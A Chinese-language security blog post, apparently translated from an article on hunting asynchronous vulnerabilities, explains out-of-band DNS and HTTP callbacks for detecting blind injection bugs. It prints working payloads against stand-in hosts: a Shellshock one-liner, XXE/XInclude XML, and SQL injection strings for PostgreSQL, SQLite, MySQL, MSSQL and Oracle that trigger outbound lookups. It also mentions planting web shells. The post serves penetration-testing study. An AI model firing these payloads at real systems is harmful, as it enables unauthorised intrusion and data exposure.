黑盒测试中那些"看不见的"漏洞

  • A+
所属分类:WEB安全

原文Hunting Asynchronous Vulnerabilities 

简单翻译下大致意思 

在黑盒测试中,一般我们通过请求的响应来判断一个漏洞是否存在,比如 

- 是否触发错误消息 

- 响应内容是否不同 

- 是否有时间延迟 

但有一些漏洞触发后并不会造成响应不同,或者不会立刻执行,比如二次SQL注入、命令注入但只会在夜间crontab执行等,导致我们无法通过一般的手段来判断是否存在漏洞。 

这类“看不见的”漏洞大致可以分为三类: 

- 发生在后台线程的Server端漏洞。比如在队列中的SQL注入查询,你不知道这个注入查询什么时候会被执行,也许payload会触发时间延迟,但是这个延迟仅影响后台线程,无法在前台被检测到。 

- Blind漏洞,需要二次事件来触发。比如Blind XSS、二次SQL注入 

- 不会造成响应不同的漏洞,并且这类漏洞不支持任何方法来触发时间延迟。如Blind XEE 和 XPath注入 

为了能够检测到此类漏洞,我们需要一个能够促发callback的payload,callback能够从有漏洞的应用向攻击者控制的机器上发起连接,比如Shellshock的例子 

() { :;}; echo 1 > /dev/udp/evil.com/53

如果服务器存在Shellshock漏洞,evil.com的53端口就会受到一个UDP包。 

通过触发callback的方法,我们不需要依赖应用的输出就可以来判断漏洞是否存在。 

因为DNS查询几乎不会被防火墙拦截,因此非常适合作为触发callback。 

Drops之前有人发过一篇DNS: More than just names介绍了如何利用DNS来攻击,有兴趣可以看一看 

下面介绍一些不同漏洞类型下的DNS callback 

XML漏洞 

下面代码利用6种不同的XML漏洞来尝试触发callback(包含evil.net的url) 

<?xml version="1.0" encoding="utf-8"?> 
<?xml-stylesheet type="text/xml" href="http://xsl.evil.net/a.xsl"?> 
<!DOCTYPE root PUBLIC "-//A/B/EN" http://dtd.evil.net/a.dtd [ 
  <!ENTITY % remote SYSTEM "http://xxe2.evil.net/a"> 
  <!ENTITY xxe SYSTEM "http://xxe1.evil.net/a"> 
  %remote; 
]> 
<root> 
  <foo>&xxe;</foo> 
  <x xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include 
    href="http://xi.evil.net/" ></x> 
  <y xmlns=http://a.b/ 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://a.b/ 
    http://schemalocation.evil.net/a.xsd">a</y> 
</root>


最后两个payload,利用了XInclude 和 schemaLocation,因为不需要完全控制XML文档,因此特别有效

SQL注入 

Postgresql 

利用copy 命令,可以调用任意的shell命令(需要一定权限) 

copy (select '') to program 'nslookup evil.net'

如果用ping命令在linux下会阻塞执行的线程,因此这里用nslookup 

MySQL 和 SQLite3 

Windows下,大多数文件系统函数都支持UNC path,UNC path能够引用远程server的资源,因此能触发DNS查询。也就是说Windows下几乎所有的I/O函数都能够触发callback 

SQLite3 

;attach database '//evil.net/z' as 'z'-- - 

(SELECT load_extension('//foo'))


第一种需要支持batched query,第二种需要启用load_extension 函数 

MySQL 
LOAD_FILE('\\\\evil.net\\foo')   

SELECT … INTO OUTFILE '\\\\evil.net\foo'


MSSQL 
SELECT * FROM openrowset('SQLNCLI', 'evil.net';'a',   'select 1 from dual')
(需要 'ad hoc distributed queries') 

EXEC master.dbo.xp_fileexist '\\\\evil.net\\foo'
(需要 sysadmin 权限) 

BULK INSERT mytable FROM '\\\\evil.net$file'
(需要 bulk insert privileges) 

EXEC master.dbo.xp_dirtree '\\\\evil.net\\foo'
(最理想的 – 需要 sysadmin 权限 ,DNS 查询后会检查权限) 

Oracle SQL 

Oracle提供很多方法来触发callback,如UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_INADDR, UTL_FILE…,但是都需要各种权限。 

但是可以利用内置的XML解析函数,低权限用户也可以调用。最近Oracle也被发现存在XXE注入漏洞,因此我们可以利用XXE来触发callback 

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %  remote SYSTEM "http://evil.net/"> %remote;]>'),'/l')

Write-based callbacks 

因为非WINDOWS系统不支持UNC paths,我们可以利用写文件函数来触发callback 

最直接的方式就是写一个web shell,前提是需要知道webroot路径 

修改mailspools / maildrops,控制邮件发送,这个需要root权限,没什么用 

利用mysql函数来修改配置文件,将修改 bind-address成我们的hostname,然后在dns响应返回0.0.0.0,让mysql绑定所以可用接口 

shell命令注入和 XSS部分大家参考下原文

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: